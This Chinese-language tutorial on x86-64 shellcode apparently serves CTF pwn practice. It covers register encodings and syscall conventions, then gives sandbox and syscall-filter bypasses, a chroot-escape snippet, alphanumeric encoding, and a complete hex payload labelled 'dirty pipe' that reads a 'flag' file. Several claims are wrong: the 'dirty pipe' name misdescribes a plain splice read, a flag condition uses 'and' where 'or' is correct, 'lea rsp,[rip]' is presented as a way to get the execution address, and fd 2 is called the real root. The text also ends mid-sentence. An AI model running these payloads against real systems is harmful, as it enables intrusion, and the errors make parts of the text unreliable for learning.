SHELLCODE提权从入门到精通
字数 2749 2025-12-19 12:16:57
Shellcode提权技术从入门到精通
一、寄存器基础知识
1.1 通用寄存器结构
RAX寄存器
| 位宽 | 表示 | 说明 |
|---|---|---|
| 64位 | RAX | 完整寄存器,存储64位数据 |
| 32位 | EAX | RAX的低32位 |
| 16位 | AX | RAX的低16位 |
| 8位 | AL/AH | AL:AX的低8位,AH:AX的高8位 |
RDI寄存器
| 位宽 | 表示 | 说明 |
|---|---|---|
| 64位 | RDI | 完整寄存器 |
| 32位 | EDI | RDI的低32位 |
| 16位 | DI | RDI的低16位 |
| 8位 | DIL | RDI的低8位 |
RSI寄存器
| 位宽 | 表示 | 说明 |
|---|---|---|
| 64位 | RSI | 完整寄存器 |
| 32位 | ESI | RSI的低32位 |
| 16位 | SI | RSI的低16位 |
| 8位 | SIL | RSI的低8位(仅低字节可用) |
RDX寄存器
| 位宽 | 表示 | 说明 |
|---|---|---|
| 64位 | RDX | 完整寄存器 |
| 32位 | EDX | RDX的低32位 |
| 16位 | DX | RDX的低16位 |
| 8位 | DH/DL | DH:DX的高8位,DL:DX的低8位 |
二、常用汇编指令解析
2.1 MOV指令
48 c7 c0 08 00 00 00 mov rax,0x8
b8 08 00 00 00 mov eax,0x8
66 b8 08 00 mov ax,0x8
b0 08 mov al,0x8
2.2 ADD/SUB指令
48 05 ff 00 00 00 add rax,0xff
05 ff 00 00 00 add eax,0xff
66 05 ff 00 add ax,0xff
04 ff add al,0xff
48 83 c0 7f add rax,0x7f
83 c0 7f add eax,0x7f
66 83 c0 7f add ax,0x7f
04 7f add al,0x7f
2.3 PUSH/POP指令
50 push rax
57 push rdi
56 push rsi
52 push rdx
54 push rsp
55 push rbp
58 pop rax
5f pop rdi
5e pop rsi
5a pop rdx
5c pop rsp
5d pop rbp
2.4 XOR指令
48 31 c0 xor rax,rax
31 c0 xor eax,eax
66 31 c0 xor ax,ax
30 c0 xor al,al
三、系统调用详解
3.1 open系统调用
| 寄存器 | 用途 | 数值类型 | 具体数值/说明 |
|---|---|---|---|
| rax | 系统调用号 | 立即数 | 2 |
| rdi | 第一个参数(文件路径) | 指针 | 64位指针 |
| rsi | 第二个参数(打开标志) | 位掩码 | O_RDONLY=0, O_WRONLY=1, O_RDWR=2 |
| rdx | 第三个参数(文件权限) | 八进制数 | 例如:0644(只读忽略) |
| r10 | 第四个参数(可选标志) | 位掩码 | 0(只读忽略) |
3.2 openat系统调用
| 寄存器 | 用途 | 数值类型 | 具体数值/说明 |
|---|---|---|---|
| rax | 系统调用号 | 立即数 | 257 |
| rdi | dirfd | 整数或特殊常量 | AT_FDCWD(通常为-100)或有效目录fd |
| rsi | pathname | 指针 | 文件路径字符串地址 |
| rdx | flags | 位掩码 | O_RDONLY(0), O_WRONLY(1), O_RDWR(2), O_CREAT(0x40)等 |
| r10 | mode | 八进制数 | 文件权限模式(仅当flags包含O_CREAT时有效) |
3.3 mprotect系统调用
| 寄存器 | 用途 | 数值类型 | 具体数值/说明 |
|---|---|---|---|
| rax | 系统调用号 | 立即数 | 10 |
| rdi | 第一个参数(起始地址) | 指针 | 需按页对齐的内存地址 |
| rsi | 第二个参数(长度) | 无符号整数 | 页大小的整数倍 |
| rdx | 第三个参数(保护属性) | 位掩码 | 权限标志组合 |
3.4 openat2系统调用
rdi == 0xffffff9c
rsi 指向"flag"字符串
rdx 指向一片为0的空间
r10 为24
rax == 437
asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x20,0x18))
3.5 splice系统调用
用于零拷贝数据传输,特别适用于管道操作:
; 第一次splice:从文件到管道
splice(fd, NULL, pipefd[1], NULL, 0x1000, 0)
; 第二次splice:从管道到标准输出
splice(pipefd[0], NULL, 1, NULL, 返回字节数, 0)
3.6 mmap系统调用
重要标志说明:
- MAP_SHARED(0x01):共享映射,修改对所有进程可见
- MAP_PRIVATE(0x02):私有映射,修改为进程私有
- MAP_ANONYMOUS(0x20):匿名映射,不与文件关联
3.7 文件描述符复制系统调用
- dup(rax=32):复制文件描述符
- dup2(rax=33):指定目标描述符的复制
- dup3(rax=292):带标志的复制
四、Shellcode编写技巧
4.1 优化Shellcode长度
寄存器清零技巧
; 方法1:使用XOR(推荐)
xor eax, eax ; 2字节
; 方法2:使用PUSH/POP
push 0 ; 2字节
pop rax ; 1字节
; 方法3:使用CDQ扩展符号位
cdq ; 1字节,将EAX符号扩展到EDX
参数传递技巧
; 向栈中写入数据后用push&pop传参
push rsp
pop rsi
xor edi,edi
xor edx,edx
mov dl,0xff
xor al,al
syscall
4.2 绕过syscall检测
当syscall指令被过滤时:
mov ax,0x1010
xor [rip+0x10],ax ; 通过异或修改指令
4.3 获取执行地址
lea rsp, [rip] ; 获得程序执行地址
五、沙盒绕过技术
5.1 系统调用替代方案
- 使用openat/openat2代替open
- 使用readv/pread64/preadv/preadv2代替read
- 使用writev/sendfile/pwrite64/pwritev/pwritev2代替write
- 使用mmap2代替mmap
5.2 侧信道攻击技术
通过比较指令和条件跳转实现信息泄露:
比较指令(CMP)
- arg1 = arg2:zf = 1
- arg1 != arg2:zf = 0
- arg1 >= arg2:cf = 0
- arg1 > arg2:cf = 0且zf = 0
- arg1 <= arg2:cf = 1且zf = 1
跳转指令
- jz/je:为零/相等跳转(zf=1)
- jnz/jne:非零/不相等跳转(zf=0)
- jc:进位跳转(cf=1)
- jnc:无进位跳转(cf=0)
六、实战案例解析
6.1 脏管道攻击示例
; 完整的脏管道Shellcode
48 31 FF 83 EF 64 68 66 6C 61 67 48 89 E6 6A 00
6A 00 6A 00 48 89 E2 49 C7 C2 18 00 00 00 48 C7
C0 B5 01 00 00 0F 05 48 C7 C0 16 00 00 00 48 8D
7C 24 F8 48 C7 C6 00 00 00 00 0F 05 48 C7 C0 13
01 00 00 48 C7 C7 03 00 00 00 48 C7 C6 00 00 00
00 48 8B 54 24 FC 49 C7 C2 00 00 00 00 49 C7 C0
00 10 00 00 49 C7 C1 00 00 00 00 0F 05 48 C7 C0
13 01 00 00 48 8B 7C 24 F8 48 C7 C6 00 00 00 00
48 C7 C2 01 00 00 00 49 C7 C2 00 00 00 00 49 C7
C0 00 10 00 00 49 C7 C1 00 00 00 00 0F 05
6.2 控制执行流回流技术
通过jmp指令控制RIP返回特定位置,实现多次写入:
add al, al
push 0xf
pop rdx
xor rdi, rdi
syscall
mov dl, 0xff
xor eax, eax
syscall
nop
nop
nop
nop
jmp $-10 ; 回流到指定位置
6.3 纯字符Shellcode
使用AE64等工具编码,避免特殊字符:
from ae64 import AE64
obj = AE64()
sd = b"\x68\x66\x6C\x61\x67\x48\x89\xE7\x48\x31\xF6\x6A\x02\x58\x0F\x05..."
sd = obj.encode(sd, 'rdx')
6.4 反调试技术
对于fork子进程的程序:
io = gdb.debug('./pwn2', 'set follow-fork-mode child\nb *$rebase(0x164B)\nc')
6.5 限制空间Shellcode
在有限的栈空间(如0x20字节)中操作:
mov rsp,0x1337ff8
push -0x1
pop rdi
; 精简的打开文件操作
6.6 chroot逃逸技术
利用openat的特性绕过chroot:
push 2 ; dirfd=2(真正的根目录)
pop rdi
push 0x67616c66 ; "flag"
push rsp
pop rsi
xor edx,edx
mov ax, 0x101 ; openat系统调用
syscall
七、高级技巧与注意事项
7.1 错误处理与调试
- 使用gdb附加调试多进程程序
- 设置适当的断点位置
- 处理fork产生的子进程
7.2 性能优化
- 尽量减少Shellcode长度
- 使用更高效的指令序列
- 避免不必要的系统调用
7.3 兼容性考虑
- 考虑不同架构的系统调用号差异
- 处理小端序和大端序系统
- 适应不同的内存保护机制
通过掌握以上技术,可以有效地编写和优化Shellcode,实现各种环境下的权限提升和系统控制。在实际应用中,需要根据具体的目标环境和限制条件选择合适的技